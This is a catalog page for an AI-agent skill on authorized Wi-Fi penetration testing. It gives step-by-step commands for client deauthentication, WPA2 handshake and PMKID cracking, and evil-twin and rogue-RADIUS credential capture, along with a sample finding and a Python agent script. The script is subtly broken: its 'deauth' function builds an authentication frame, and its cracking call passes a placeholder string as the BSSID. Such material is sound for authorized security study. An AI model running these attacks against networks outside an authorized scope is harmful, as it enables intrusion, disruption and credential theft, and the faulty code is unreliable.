penetration testing

Conducting Wireless Network Penetration Test

Conducts authorized wireless network penetration tests to assess the security of WiFi infrastructure by testing for weak encryption protocols, captive portal bypasses, evil twin attacks, WPA2/WPA3 handshake capture, rogue access point detection, and client-side attacks. The tester evaluates wireless authentication, network segmentation, and the effectiveness of wireless intrusion detection systems. Activates for requests involving wireless pentest, WiFi security assessment, WPA2/WPA3 testing, or rogue access point detection.

evil-twinwifi-securitywireless-pentestwpa2wpa3
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • Assessing the security of enterprise wireless networks including guest, corporate, and IoT WiFi segments
  • Testing whether attackers within physical proximity can compromise wireless authentication and access internal networks
  • Validating wireless intrusion detection/prevention system (WIDS/WIPS) capabilities against known attack techniques
  • Evaluating the effectiveness of WPA3 migration and transition mode configurations
  • Testing network segmentation between wireless and wired networks after a wireless network compromise

Do not use against wireless networks without written authorization from the network owner, for jamming or denial-of-service attacks against wireless infrastructure unless explicitly authorized, or in environments where wireless disruption could affect life-safety systems.

Prerequisites

  • Written authorization specifying target SSIDs, BSSIDs, and physical testing locations
  • External WiFi adapter supporting monitor mode and packet injection (Alfa AWUS036ACH, TP-Link TL-WN722N v1)
  • Kali Linux or equivalent with up-to-date wireless tools (aircrack-ng suite, hostapd, bettercap)
  • Physical access to the testing location during authorized testing hours
  • Knowledge of the target's wireless architecture (SSIDs, authentication types, RADIUS infrastructure)

Workflow

Step 1: Wireless Reconnaissance

Discover and map all wireless networks in the target environment:

  • Enable monitor mode: airmon-ng start wlan0
  • Capture wireless traffic: airodump-ng wlan0mon -w recon --output-format csv,pcap to discover all SSIDs, BSSIDs, channels, encryption types, and connected clients
  • Identify target networks from the authorized scope and note their security configurations (WEP, WPA2-Personal, WPA2-Enterprise, WPA3-SAE, WPA3-Transition)
  • Enumerate connected clients and their signal strengths to understand client distribution
  • Check for hidden SSIDs by capturing probe requests from clients: airodump-ng wlan0mon --essid-regex ".*" -c <channel>
  • Identify rogue access points by comparing discovered BSSIDs against the client's authorized AP inventory

Step 2: WPA2-Personal Handshake Capture and Cracking

For WPA2-PSK networks, capture the 4-way handshake and attempt offline cracking:

  • Target the specific AP: airodump-ng wlan0mon -c <channel> --bssid <bssid> -w capture
  • Deauthenticate a connected client to force re-authentication: aireplay-ng -0 5 -a <bssid> -c <client_mac> wlan0mon
  • Verify handshake capture in airodump-ng (WPA handshake indicator appears)
  • Crack the captured handshake:
    • Dictionary attack: aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
    • GPU-accelerated: hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt
    • Rule-based: hashcat -m 22000 capture.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
  • For PMKID capture (clientless): hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng --filtermode=2 --filterlist_ap=<bssid>

Step 3: WPA2-Enterprise Attack

For 802.1X/EAP networks, attempt credential capture through rogue RADIUS:

  • Identify the EAP type in use (PEAP-MSCHAPv2, EAP-TLS, EAP-TTLS) by capturing association requests
  • Set up a rogue AP mimicking the enterprise SSID using hostapd-mana with a rogue RADIUS server
  • Configure hostapd-mana to accept all EAP authentication attempts and capture RADIUS handshakes
  • When clients connect to the rogue AP, capture MSCHAPv2 challenge-response pairs
  • Crack captured credentials with asleap or convert to hashcat format: hashcat -m 5500 captured_ntlm.txt wordlist.txt
  • If EAP-TLS is in use (certificate-based), document that credential capture is not feasible and the organization has implemented strong wireless authentication

Step 4: Evil Twin Attack

Deploy a rogue access point to intercept client connections:

  • Create an evil twin AP matching the target SSID: configure hostapd with the same SSID and channel
  • Set up a captive portal using dnsmasq for DHCP and DNS, and a web server presenting a fake login page
  • Deauthenticate clients from the legitimate AP to force reconnection to the evil twin
  • Capture credentials submitted through the captive portal
  • For WPA3-Transition mode networks: exploit the downgrade vulnerability by creating a WPA2-only evil twin that transition-mode clients will connect to
  • Document all captured credentials and the attack path from wireless access to internal network

Step 5: Post-Compromise Network Assessment

After gaining wireless network access, assess network segmentation:

  • Connect to the compromised wireless network using captured credentials
  • Scan the network segment for accessible hosts and services: nmap -sn <wireless_subnet>
  • Test if wireless clients can reach internal servers, databases, or management interfaces
  • Verify that VLAN segmentation properly isolates guest, corporate, and IoT wireless networks
  • Test if wireless-to-wired segmentation is enforced by attempting to access servers on the wired network
  • Document all accessible resources from the wireless network to demonstrate segmentation failures

Key Concepts

Term Definition
Evil Twin A rogue access point that mimics a legitimate SSID to trick clients into connecting, enabling man-in-the-middle attacks and credential capture
4-Way Handshake The WPA2 authentication exchange between client and AP that establishes encryption keys; captured handshakes can be cracked offline
WPA3-SAE Simultaneous Authentication of Equals; WPA3's key exchange protocol that resists offline dictionary attacks and provides forward secrecy
Transition Mode WPA3 backward compatibility mode that supports both WPA2 and WPA3 clients, potentially vulnerable to downgrade attacks
PMKID Attack A clientless attack that captures the Pairwise Master Key Identifier from the AP's first EAPOL frame, allowing offline cracking without capturing a full handshake
802.1X/EAP Enterprise wireless authentication using RADIUS and Extensible Authentication Protocol, providing per-user credentials instead of a shared pre-shared key
Deauthentication Attack Sending spoofed deauthentication frames to disconnect clients from an AP, forcing them to reconnect and enabling handshake capture or evil twin attacks

Tools & Systems

  • Aircrack-ng Suite: Comprehensive wireless auditing toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)
  • Hostapd-mana: Modified hostapd for creating rogue access points with EAP credential capture capability
  • Bettercap: Network attack framework with WiFi modules for deauthentication, handshake capture, and evil twin deployment
  • Hashcat: GPU-accelerated password cracking supporting WPA2 (mode 22000), MSCHAPv2 (mode 5500), and PMKID formats
  • Kismet: Wireless network detector, sniffer, and intrusion detection system for passive monitoring

Common Scenarios

Scenario: Wireless Security Assessment for a Corporate Office

Context: A financial services company has 3 SSIDs: CorpWiFi (WPA2-Enterprise for employees), GuestWiFi (captive portal), and IoT-Net (WPA2-PSK for printers and conferencing systems). The tester is authorized to test all three networks from the lobby and conference rooms.

Approach:

  1. Wireless reconnaissance identifies all 3 SSIDs across 12 access points with 87 connected clients
  2. IoT-Net WPA2-PSK handshake captured and cracked in 3 minutes (password: Company2024!)
  3. From IoT-Net, scan reveals the subnet can reach internal servers including the print server and file shares, demonstrating inadequate segmentation
  4. Evil twin attack against CorpWiFi captures 4 employee MSCHAPv2 hashes via hostapd-mana; 2 are cracked revealing passwords
  5. GuestWiFi captive portal bypass achieved using MAC address spoofing of an already-authenticated device
  6. Document that IoT-Net provides a direct path to the internal network bypassing WPA2-Enterprise authentication

Pitfalls:

  • Conducting deauthentication attacks during business hours without coordinating with the client, causing visible WiFi disruptions
  • Not testing WPA3 transition mode for downgrade vulnerabilities when the organization has begun WPA3 migration
  • Focusing only on password cracking and missing network segmentation issues that are often the higher-risk finding
  • Testing from a single location and missing rogue APs deployed in other areas of the facility

Output Format

## Finding: Weak WPA2-PSK on IoT Network with Inadequate Segmentation
 
**ID**: WIFI-001
**Severity**: Critical (CVSS 9.4)
**Affected SSID**: IoT-Net (BSSID: AA:BB:CC:DD:EE:FF)
**Encryption**: WPA2-Personal (PSK)
 
**Description**:
The IoT wireless network uses a weak pre-shared key that was cracked in 3 minutes
using a standard dictionary attack. Once connected to IoT-Net, the tester discovered
that the wireless VLAN is not properly segmented from the internal corporate network,
providing unrestricted access to file servers, the Active Directory domain controller,
and the internal database server.
 
**Proof of Concept**:
1. Captured WPA2 handshake: airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w iot
2. Cracked PSK in 3 minutes: aircrack-ng -w rockyou.txt iot-01.cap -> Key: Company2024!
3. Connected to IoT-Net and scanned: nmap -sn 10.20.0.0/24
4. Accessible from IoT-Net: DC01 (10.20.0.5:445), FILESVR (10.20.0.10:445), DBSVR (10.20.0.15:3306)
 
**Impact**:
An attacker within wireless range (tested from the public lobby) can join the IoT
network and gain direct network access to the corporate infrastructure, bypassing
the WPA2-Enterprise authentication required for employee access.
 
**Remediation**:
1. Implement a complex 20+ character PSK for IoT-Net, rotated quarterly
2. Deploy VLAN segmentation to isolate IoT-Net from the corporate network
3. Implement firewall rules allowing IoT devices to reach only their required services
4. Migrate IoT devices to 802.1X authentication with device certificates where supported
5. Deploy WIDS to detect deauthentication attacks and rogue access points
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.2 KB

API Reference: Wireless Network Penetration Testing Agent

Overview

Tests WiFi security: scans access points via beacon capture, detects rogue APs and evil twins, identifies weak encryption, captures WPA2 handshakes, and analyzes client probe requests. For authorized testing only.

Dependencies

Package Version Purpose
scapy >=2.5 Beacon/probe capture, deauth frames
aircrack-ng >=1.7 Handshake capture and cracking (subprocess)

CLI Usage

# Enable monitor mode first
sudo airmon-ng start wlan0
 
# Run wireless pentest
python agent.py --interface wlan0mon --duration 60 \
  --known-ssids "CorpWiFi" "GuestWiFi" \
  --known-bssids "AA:BB:CC:DD:EE:FF" --output report.json

Key Functions

scan_access_points(interface, duration)

Captures Dot11Beacon frames to discover APs with SSID, BSSID, channel, and crypto type.

detect_rogue_aps(discovered_aps, known_ssids, known_bssids)

Compares discovered APs against known infrastructure to detect evil twin attacks.

detect_weak_encryption(access_points)

Flags open networks, WEP, and WPA1-only configurations as weak.

capture_handshake(interface, target_bssid, channel, output_file, duration)

Uses airodump-ng to capture the WPA2 4-way handshake.

send_deauth(interface, target_bssid, client_mac, count)

Sends deauthentication frames via Scapy to force client reconnection.

crack_handshake(cap_file, wordlist)

Attempts dictionary attack on captured handshake using aircrack-ng.

detect_client_probes(interface, duration)

Captures Dot11ProbeReq frames to identify SSIDs clients are seeking.

check_wps_enabled(interface, target_bssid)

Uses wash to detect WPS-enabled access points vulnerable to Reaver attacks.

Scapy 802.11 Layers Used

Layer Purpose
Dot11Beacon Access point beacon frames
Dot11ProbeReq Client probe request frames
Dot11Auth Deauthentication frames
Dot11Elt Information elements (SSID, rates)
RadioTap Radio layer metadata

External Tools Used

Tool Purpose
airmon-ng Enable monitor mode
airodump-ng Capture handshakes
aircrack-ng Crack WPA2 PSK
wash Detect WPS-enabled APs

Scripts 1

agent.py7.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""Wireless Network Penetration Testing Agent - Tests WiFi security using Scapy and aircrack-ng."""

import json
import logging
import argparse
import subprocess
from datetime import datetime

from scapy.all import (
    Dot11, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11Auth,
    sniff, RadioTap, sendp, conf,
)

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def scan_access_points(interface, duration=30):
    """Scan for WiFi access points by capturing beacon frames."""
    access_points = {}

    def beacon_handler(pkt):
        if pkt.haslayer(Dot11Beacon):
            bssid = pkt[Dot11].addr2
            if bssid not in access_points:
                ssid = pkt[Dot11Elt].info.decode("utf-8", errors="ignore")
                stats = pkt[Dot11Beacon].network_stats()
                access_points[bssid] = {
                    "ssid": ssid,
                    "bssid": bssid,
                    "channel": stats.get("channel", 0),
                    "crypto": list(stats.get("crypto", set())),
                    "signal": pkt.dBm_AntSignal if hasattr(pkt, "dBm_AntSignal") else None,
                }

    logger.info("Scanning for access points on %s for %ds", interface, duration)
    sniff(iface=interface, prn=beacon_handler, timeout=duration, store=False)
    logger.info("Discovered %d access points", len(access_points))
    return list(access_points.values())


def detect_rogue_aps(discovered_aps, known_ssids, known_bssids):
    """Detect rogue access points by comparing against known infrastructure."""
    rogues = []
    for ap in discovered_aps:
        if ap["ssid"] in known_ssids and ap["bssid"] not in known_bssids:
            ap["rogue_reason"] = "Known SSID with unknown BSSID (potential evil twin)"
            rogues.append(ap)
            logger.warning("ROGUE AP detected: SSID=%s BSSID=%s", ap["ssid"], ap["bssid"])
    return rogues


def detect_weak_encryption(access_points):
    """Identify access points using weak or no encryption."""
    weak = []
    for ap in access_points:
        crypto = ap.get("crypto", [])
        if not crypto or "OPN" in crypto:
            ap["weakness"] = "Open network - no encryption"
            weak.append(ap)
        elif "WEP" in str(crypto):
            ap["weakness"] = "WEP encryption - trivially crackable"
            weak.append(ap)
        elif "WPA" in str(crypto) and "WPA2" not in str(crypto):
            ap["weakness"] = "WPA1 only - vulnerable to TKIP attacks"
            weak.append(ap)
    logger.info("Found %d APs with weak encryption", len(weak))
    return weak


def capture_handshake(interface, target_bssid, channel, output_file, duration=60):
    """Capture WPA2 4-way handshake using airodump-ng."""
    set_channel_cmd = ["iwconfig", interface, "channel", str(channel)]
    subprocess.run(set_channel_cmd, capture_output=True, timeout=120)

    cmd = [
        "airodump-ng", "--bssid", target_bssid, "--channel", str(channel),
        "--write", output_file, "--output-format", "pcap",
        interface,
    ]
    logger.info("Capturing handshake for %s on channel %d", target_bssid, channel)
    try:
        subprocess.run(cmd, timeout=duration, capture_output=True)
    except subprocess.TimeoutExpired:
        pass
    return f"{output_file}-01.cap"


def send_deauth(interface, target_bssid, client_mac="FF:FF:FF:FF:FF:FF", count=5):
    """Send deauthentication frames to force client reconnection for handshake capture."""
    dot11 = Dot11(addr1=client_mac, addr2=target_bssid, addr3=target_bssid)
    frame = RadioTap() / dot11 / Dot11Auth(algo=0, seqnum=1, status=0)
    sendp(frame, iface=interface, count=count, inter=0.1, verbose=False)
    logger.info("Sent %d deauth frames to %s (client: %s)", count, target_bssid, client_mac)


def crack_handshake(cap_file, wordlist):
    """Attempt to crack WPA2 handshake using aircrack-ng."""
    cmd = ["aircrack-ng", "-w", wordlist, "-b", "target_bssid", cap_file]
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600)
    if "KEY FOUND" in result.stdout:
        key_line = [l for l in result.stdout.split("\n") if "KEY FOUND" in l]
        if key_line:
            logger.info("WPA2 key cracked: %s", key_line[0])
            return {"cracked": True, "key": key_line[0]}
    return {"cracked": False}


def detect_client_probes(interface, duration=30):
    """Capture probe requests to identify client-side vulnerabilities."""
    probes = []

    def probe_handler(pkt):
        if pkt.haslayer(Dot11ProbeReq):
            ssid = pkt[Dot11Elt].info.decode("utf-8", errors="ignore") if pkt.haslayer(Dot11Elt) else ""
            if ssid:
                probes.append({
                    "client_mac": pkt[Dot11].addr2,
                    "probed_ssid": ssid,
                })

    sniff(iface=interface, prn=probe_handler, timeout=duration, store=False)
    unique_clients = len(set(p["client_mac"] for p in probes))
    logger.info("Captured %d probe requests from %d clients", len(probes), unique_clients)
    return probes


def check_wps_enabled(interface, target_bssid):
    """Check if WPS is enabled on target AP using wash."""
    cmd = ["wash", "-i", interface, "-C"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
        if target_bssid.upper() in result.stdout.upper():
            logger.warning("WPS enabled on %s - vulnerable to Reaver attack", target_bssid)
            return True
    except (subprocess.TimeoutExpired, FileNotFoundError):
        pass
    return False


def generate_report(access_points, rogues, weak_crypto, client_probes):
    """Generate wireless penetration test report."""
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "access_points": access_points,
        "rogue_aps": rogues,
        "weak_encryption": weak_crypto,
        "client_probes": client_probes[:50],
        "summary": {
            "total_aps": len(access_points),
            "rogue_aps": len(rogues),
            "weak_crypto_aps": len(weak_crypto),
            "clients_probing": len(set(p["client_mac"] for p in client_probes)),
        },
    }
    print(f"WIRELESS PENTEST REPORT: {len(access_points)} APs, {len(rogues)} rogues, {len(weak_crypto)} weak")
    return report


def main():
    parser = argparse.ArgumentParser(description="Wireless Network Penetration Testing Agent")
    parser.add_argument("--interface", required=True, help="Wireless interface in monitor mode")
    parser.add_argument("--duration", type=int, default=30, help="Scan duration in seconds")
    parser.add_argument("--known-ssids", nargs="*", default=[], help="Known legitimate SSIDs")
    parser.add_argument("--known-bssids", nargs="*", default=[], help="Known legitimate BSSIDs")
    parser.add_argument("--output", default="wireless_pentest_report.json")
    args = parser.parse_args()

    aps = scan_access_points(args.interface, args.duration)
    rogues = detect_rogue_aps(aps, set(args.known_ssids), set(args.known_bssids))
    weak = detect_weak_encryption(aps)
    probes = detect_client_probes(args.interface, args.duration)

    report = generate_report(aps, rogues, weak, probes)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()
Keep exploring